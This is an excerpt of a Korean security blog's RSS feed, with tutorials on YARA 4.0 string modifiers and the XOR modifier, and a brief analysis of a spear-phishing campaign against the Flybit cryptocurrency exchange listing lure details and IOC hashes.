&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;959&quot; width=&quot;461&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2UYsp/btqEK7fNyya/xKBqVDkYvocazeXgeP1tm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2UYsp/btqEK7fNyya/xKBqVDkYvocazeXgeP1tm1/img.png&quot; data-alt=&quot;(Figure 1) 업데이트된 4.0.0-4.0.1&amp;amp;amp;nbsp;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2UYsp/btqEK7fNyya/xKBqVDkYvocazeXgeP1tm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2UYsp%2FbtqEK7fNyya%2FxKBqVDkYvocazeXgeP1tm1%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;959&quot; width=&quot;461&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 1) 업데이트된 4.0.0-4.0.1&amp;nbsp;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Base64 strings&lt;/b&gt; &lt;br /&gt;-&amp;nbsp;base64&amp;nbsp;modifier는&amp;nbsp;base64&amp;nbsp;인코딩된&amp;nbsp;문자열을&amp;nbsp;검색할&amp;nbsp;때&amp;nbsp;사용된다.&amp;nbsp; &lt;br /&gt;-&amp;nbsp;base64wide&amp;nbsp;modifier는&amp;nbsp;base64&amp;nbsp;modifier와&amp;nbsp;동일하게&amp;nbsp;동작하지만,&amp;nbsp;base64&amp;nbsp;동작&amp;nbsp;후&amp;nbsp;wide&amp;nbsp;형태로&amp;nbsp;변환된다. &lt;br /&gt;-&amp;nbsp;base64&amp;nbsp;및&amp;nbsp;ba64wide&amp;nbsp;modifier는&amp;nbsp;text&amp;nbsp;string에서만&amp;nbsp;지원된다. &lt;br /&gt;-&amp;nbsp;(주의)&amp;nbsp;16진수&amp;nbsp;문자&amp;nbsp;또는&amp;nbsp;정규식,&amp;nbsp;modifier(xor,&amp;nbsp;fullword,&amp;nbsp;nocase)와&amp;nbsp;함께&amp;nbsp;사용하면&amp;nbsp;컴파일러&amp;nbsp;오류가&amp;nbsp;발생한다. &lt;br /&gt;- YARA가 base64 인코딩 후 선행 및 후행 문자를 제거하는 방식 때문에 &quot;Dhis program cannow&quot; 및 &quot;This program cannot&quot;의 base64 인코딩 중 하나가 동일하다. &lt;br /&gt;- 실행은 (Figure 2)의 2번과 같다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;아래&amp;nbsp;룰과&amp;nbsp;같이&amp;nbsp;custom&amp;nbsp;alphabet을&amp;nbsp;지원한다. &lt;br /&gt;rule&amp;nbsp;Base64Example2 &lt;br /&gt;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strings: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$a = &quot;This program cannot&quot; base64(&quot;!@#$%^&amp;amp;*(){}&amp;nbsp; [].,|ABCDEFGHIJ\x09LMNOPQRSTUVWXYZabcdefghijklmnopqrstu&quot;) &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;condition: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$a &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Private&amp;nbsp;strings&lt;/b&gt; &lt;br /&gt;- YARA의 모든 문자열은 private로 표시될 수 있으며, 이는 YARA의 출력에 포함되지 않는다. 커맨드라인으로 -s 옵션을 사용하면 탐지된 스트링이 출력된다. 하지만, private을 사용하면 스트링은 출력이 안되지만 룰에 탐지되었다는 표시는 출력된다. (Figure 2)는 yara 4.0.1 버전에서 아래 룰(Base64Example2)을 테스트한 것으로, 1번은 private 키워드를 추가했을 때 나오는 출력화면, 2번은 private을 지웠을 때 나오는 화면이며, 3번은 base64, private modifier를 모두 지웠을 때 나오는 화면이다. 위에서 설명한 것과 같이 private을 적용하면 1번에서 탐지된 룰 이름은 나오지만, 탐지된 오프셋과 내용은 출력되지 않는다.&lt;br /&gt;&lt;br /&gt;rule Base64Example3&lt;br /&gt;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strings: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$a = &quot;This pdrogram cannott&quot; base64 private&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;condition: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$a &lt;br /&gt;}&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mIAVf/btqEMwyH9ce/decfUwg0XbNH9LIXFh6Dr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mIAVf/btqEMwyH9ce/decfUwg0XbNH9LIXFh6Dr1/img.png&quot; data-alt=&quot;(Figure 2) yara 4.0.1 테스트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mIAVf/btqEMwyH9ce/decfUwg0XbNH9LIXFh6Dr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmIAVf%2FbtqEMwyH9ce%2FdecfUwg0XbNH9LIXFh6Dr1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 2) yara 4.0.1 테스트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위에서는 새롭게 추가된 modifier에 대해 알아보았다. 아래는 PE 모듈에 새롭게 추가된 condition에서 사용할 수 있는 함수이다. exports_index, exports_index, exports_index, pdb_path, export_details가 추가되었다. (해당 함수에 대한 실습은 추후 업로드할 예정)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;685&quot; data-origin-height=&quot;543&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcp1eA/btqEK7NDJMi/ItziNyhrzKDaBD6yikBnyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcp1eA/btqEK7NDJMi/ItziNyhrzKDaBD6yikBnyk/img.png&quot; data-alt=&quot;(Figure 3) PE 모듈에 새롭게 추가된 condition 함수(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcp1eA/btqEK7NDJMi/ItziNyhrzKDaBD6yikBnyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbcp1eA%2FbtqEK7NDJMi%2FItziNyhrzKDaBD6yikBnyk%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;685&quot; data-origin-height=&quot;543&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 3) PE 모듈에 새롭게 추가된 condition 함수(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;177&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9lGS3/btqEKwtDRgN/eHgvjeGGa7iupbkDcduSpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9lGS3/btqEKwtDRgN/eHgvjeGGa7iupbkDcduSpk/img.png&quot; data-alt=&quot;(Figure 4) PE 모듈에 새롭게 추가된 condition 함수(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9lGS3/btqEKwtDRgN/eHgvjeGGa7iupbkDcduSpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9lGS3%2FbtqEKwtDRgN%2FeHgvjeGGa7iupbkDcduSpk%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;177&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 4) PE 모듈에 새롭게 추가된 condition 함수(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;709&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EIjku/btqEMjTTMtE/53v2bquKu8Qodt0eOzwcxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EIjku/btqEMjTTMtE/53v2bquKu8Qodt0eOzwcxK/img.png&quot; data-alt=&quot;(Figure 5) PE 모듈에 새롭게 추가된 condition 함수(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EIjku/btqEMjTTMtE/53v2bquKu8Qodt0eOzwcxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEIjku%2FbtqEMjTTMtE%2F53v2bquKu8Qodt0eOzwcxK%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;709&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 5) PE 모듈에 새롭게 추가된 condition 함수(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;커맨드라인에서 사용할 수 있는 옵션인 --scan-list가 추가되었다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;315&quot; data-origin-height=&quot;80&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7RnPK/btqEKwUFHW8/2QnixGzNjnqIEfAGJIGwo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7RnPK/btqEKwUFHW8/2QnixGzNjnqIEfAGJIGwo1/img.png&quot; data-alt=&quot;(Figure 6) PE 모듈에 새롭게 추가된 condition 함수(4)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7RnPK/btqEKwUFHW8/2QnixGzNjnqIEfAGJIGwo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7RnPK%2FbtqEKwUFHW8%2F2QnixGzNjnqIEfAGJIGwo1%2Fimg.png&quot; data-origin-width=&quot;315&quot; data-origin-height=&quot;80&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 6) PE 모듈에 새롭게 추가된 condition 함수(4)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;참고 :&lt;br /&gt;[1] &lt;a href=&quot;https://github.com/VirusTotal/yara&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/VirusTotal/yara&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1591795328602&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;object&quot; data-og-title=&quot;VirusTotal/yara&quot; data-og-description=&quot;The pattern matching swiss knife. Contribute to VirusTotal/yara development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/VirusTotal/yara&quot; data-og-url=&quot;https://github.com/VirusTotal/yara&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/u3nZN/hyGmTeWPWR/8TOByJNnXNlWaiYxGlo1Z1/img.png?width=122&amp;amp;height=122&amp;amp;face=0_0_122_122&quot;&gt;&lt;a href=&quot;https://github.com/VirusTotal/yara&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/VirusTotal/yara&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/u3nZN/hyGmTeWPWR/8TOByJNnXNlWaiYxGlo1Z1/img.png?width=122&amp;amp;height=122&amp;amp;face=0_0_122_122');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;VirusTotal/yara&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;The pattern matching swiss knife. Contribute to VirusTotal/yara development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;[2] &lt;a href=&quot;https://yara.readthedocs.io/en/latest/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;yara.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;</description>
      <category>기타</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/277</guid>
      <comments>https://suspected.tistory.com/277#entry277comment</comments>
      <pubDate>Wed, 10 Jun 2020 22:40:52 +0900</pubDate>
    </item>
    <item>
      <title>Yara modifier : XOR strings 정리</title>
      <link>https://suspected.tistory.com/276</link>
      <description>&lt;p&gt;xor&amp;nbsp;modifier는&amp;nbsp;single&amp;nbsp;byte&amp;nbsp;XOR이&amp;nbsp;적용된&amp;nbsp;문자열을&amp;nbsp;검색하는&amp;nbsp;데&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있다. &lt;br /&gt;&lt;br /&gt;아래&amp;nbsp;룰은&amp;nbsp;문자열&amp;nbsp;&quot;suspect&quot;에&amp;nbsp;적용된&amp;nbsp;모든&amp;nbsp;single&amp;nbsp;byte&amp;nbsp;XOR을&amp;nbsp;검색한다.&amp;nbsp;쉽게&amp;nbsp;말해서&amp;nbsp;0x00~0xff까지&amp;nbsp;돌린다는&amp;nbsp;것이다.&amp;nbsp;xor&amp;nbsp;후&amp;nbsp;wide와&amp;nbsp;ascii를&amp;nbsp;사용하고&amp;nbsp;싶으면&amp;nbsp;xor&amp;nbsp;wide&amp;nbsp;ascii&amp;nbsp;순서로&amp;nbsp;아래와&amp;nbsp;같이&amp;nbsp;입력하면&amp;nbsp;된다. &lt;br /&gt;rule&amp;nbsp;xor1 &lt;br /&gt;{ &lt;br /&gt;strings: &lt;br /&gt;&amp;nbsp; &amp;nbsp;$xor_string = &quot;suspect&quot; xor wide ascii &lt;br /&gt;condition: &lt;br /&gt;&amp;nbsp; &amp;nbsp;$xor_string &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;위와&amp;nbsp;같은&amp;nbsp;경우에는&amp;nbsp;xor을&amp;nbsp;0x00~0xff까지&amp;nbsp;255번&amp;nbsp;모두&amp;nbsp;수행한다.&amp;nbsp;YARA&amp;nbsp;3.11&amp;nbsp;업데이트에서는&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;xor(minimum-maximum)&lt;/b&gt;&lt;/span&gt;&amp;nbsp;형태로&amp;nbsp;최소,&amp;nbsp;최대의&amp;nbsp;수를&amp;nbsp;직접&amp;nbsp;지정하여&amp;nbsp;세밀하게&amp;nbsp;컨트롤&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되었다. &lt;br /&gt;&lt;br /&gt;rule&amp;nbsp;xor2 &lt;br /&gt;{ &lt;br /&gt;strings: &lt;br /&gt;&amp;nbsp; &amp;nbsp;$xor_string = &quot;suspect&quot; xor&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;(0x2-0xc8)&lt;/b&gt; &lt;/span&gt;&lt;br /&gt;condition: &lt;br /&gt;&amp;nbsp; &amp;nbsp;$xor_string &lt;br /&gt;}&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://yara.readthedocs.io/en/latest/writingrules.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;yara.readthedocs.io/en/latest/writingrules.html&lt;/a&gt;&lt;/p&gt;</description>
      <category>기타</category>
      <category>Yara</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/276</guid>
      <comments>https://suspected.tistory.com/276#entry276comment</comments>
      <pubDate>Wed, 10 Jun 2020 21:32:44 +0900</pubDate>
    </item>
    <item>
      <title>악성코드 분석(암호화폐 거래소(플라이빗-Flybit) 타겟 스피어피싱 공격)</title>
      <link>https://suspected.tistory.com/275</link>
      <description>&lt;p&gt;&lt;i&gt;&lt;b&gt;[개요]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;본 게시물은 이전 게시물[1]과 행위가 100% 동일한 공격이며, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;미끼 문서만 다른 형식으로 변경&lt;/b&gt;&lt;/span&gt;한 것으로 확인됐습니다. 하지만, 둘 다 암호화폐 관련 내용이 주를 이루는 것이 공통점입니다. 과거 암호화폐 거래소 빗썸, 업비트를 타겟으로 공격한 사례도 있습니다. 이번 사례도 마찬가지로 비트코인 가격이 오르자 국내 암호화폐 거래소(Flybit)를 타겟으로 스피어피싱 공격을 수행하는 것을 볼 수 있습니다.&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;※ 본 샘플은 한글문서만 상이하며, 바이너리 분석내용은 이전 게시물[1]과 동일합니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(Figure 1)은 공격자가 (Figure 2) 국내 암호화폐 거래소(flybit)에 전송한 메일 내용입니다. (Figure 3) 국내 &quot;(주)GBSC&quot; 회사메일로 &lt;span style=&quot;color: #000000;&quot;&gt;&quot;이현수&quot;라는 발신인이 flybit 측에 입사지원하는 내용이며, GBSC는 보호필름, 전자재료를 생산하는 회사인 것으로 확인됐습니다. 임의로 만들어진 계정일 것으로 추정되며, 공격자가 GBSC 사이트를 이용한 것으로 보아 해당 사이트가 공격자의 타겟이 됐을 수도 있겠다는 생각이 들었습니다.&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;546&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmV7O8/btqDO2sDjCU/tiv7Njp5tdwNuDsn2U2xXK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmV7O8/btqDO2sDjCU/tiv7Njp5tdwNuDsn2U2xXK/img.jpg&quot; data-alt=&quot;(Figure 1) 스피어피싱 공격 당시 이메일 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmV7O8/btqDO2sDjCU/tiv7Njp5tdwNuDsn2U2xXK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmV7O8%2FbtqDO2sDjCU%2Ftiv7Njp5tdwNuDsn2U2xXK%2Fimg.jpg&quot; data-origin-width=&quot;546&quot; data-origin-height=&quot;248&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 1) 스피어피싱 공격 당시 이메일 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.JPG&quot; data-origin-width=&quot;1525&quot; data-origin-height=&quot;896&quot; width=&quot;550&quot; height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgZi7c/btqDQt3XviW/kILjRX1yK7kl9oK9kIVon0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgZi7c/btqDQt3XviW/kILjRX1yK7kl9oK9kIVon0/img.jpg&quot; data-alt=&quot;(Figure 2) 플라이빗(Flybit) 암호화폐 거래소 홈페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgZi7c/btqDQt3XviW/kILjRX1yK7kl9oK9kIVon0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgZi7c%2FbtqDQt3XviW%2FkILjRX1yK7kl9oK9kIVon0%2Fimg.jpg&quot; data-filename=&quot;7.JPG&quot; data-origin-width=&quot;1525&quot; data-origin-height=&quot;896&quot; width=&quot;550&quot; height=&quot;323&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 2) 플라이빗(Flybit) 암호화폐 거래소 홈페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;736&quot; width=&quot;449&quot; height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1SUa3/btqDQb3vCnx/drj27JOL7BezRP8qSR0PV1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1SUa3/btqDQb3vCnx/drj27JOL7BezRP8qSR0PV1/img.jpg&quot; data-alt=&quot;(Figure 3) GBSC 회사 홈페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1SUa3/btqDQb3vCnx/drj27JOL7BezRP8qSR0PV1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1SUa3%2FbtqDQb3vCnx%2Fdrj27JOL7BezRP8qSR0PV1%2Fimg.jpg&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;736&quot; width=&quot;449&quot; height=&quot;338&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 3) GBSC 회사 홈페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 4) &lt;span style=&quot;color: #666666;&quot;&gt;마지막 작성된 시각은 2020년 4월 29일 1시 37분경에 작성된 것으로 확인됐으며, 이전 공격[1]보다 &lt;span style=&quot;color: #666666;&quot;&gt;약 9분 후 만들어진 것으로 보입니다.&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;609&quot; data-origin-height=&quot;285&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBioXq/btqDO1HjSbV/7pW15GaALiB2vJD0HgYMT0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBioXq/btqDO1HjSbV/7pW15GaALiB2vJD0HgYMT0/img.jpg&quot; data-alt=&quot;(Figure 4) 한글파일 속성정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBioXq/btqDO1HjSbV/7pW15GaALiB2vJD0HgYMT0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBioXq%2FbtqDO1HjSbV%2F7pW15GaALiB2vJD0HgYMT0%2Fimg.jpg&quot; data-origin-width=&quot;609&quot; data-origin-height=&quot;285&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 4) 한글파일 속성정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(Figure 5) 유포된 한글파일 내용에는 이력서라는 내용이며, 개인신상정보가 담겨있어 모자이크를 수행했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;642&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FKlE6/btqDO1HjR7k/8rYp21Qfefn0bVoOzTrgw0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FKlE6/btqDO1HjR7k/8rYp21Qfefn0bVoOzTrgw0/img.jpg&quot; data-alt=&quot;(Figure 5) 한글파일 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FKlE6/btqDO1HjR7k/8rYp21Qfefn0bVoOzTrgw0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFKlE6%2FbtqDO1HjR7k%2F8rYp21Qfefn0bVoOzTrgw0%2Fimg.jpg&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;642&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 5) 한글파일 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;※ 이후 분석 내용(취약점, 쉘코드 등)은 위에서도 언급했듯이 이전 분석 내용[1]과 같으므로 이를 참고 부탁드립니다.&lt;br /&gt;&lt;/b&gt;&amp;rarr; 한글파일에 존재하는 PostScript 내용이 같으므로 이후 과정 또한 같다는 뜻&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;i&gt;&lt;b&gt;[IOC]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;※ C2 정보는 이전 분석 &lt;span style=&quot;color: #333333;&quot;&gt;내용&lt;span style=&quot;color: #333333;&quot;&gt;[1]&lt;/span&gt;과 같음&lt;/span&gt;&lt;br /&gt;- c3c4f3f1f6a375e3e407347ead071a35ce23966b9fb3bed67b59290653a4ead2&lt;br /&gt;- cf739fbef4957c6150465c23d6a56ea903b0b1e6e921c5f2178633ee2d029ef0&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Reference]&lt;/b&gt;&lt;/i&gt;&lt;br 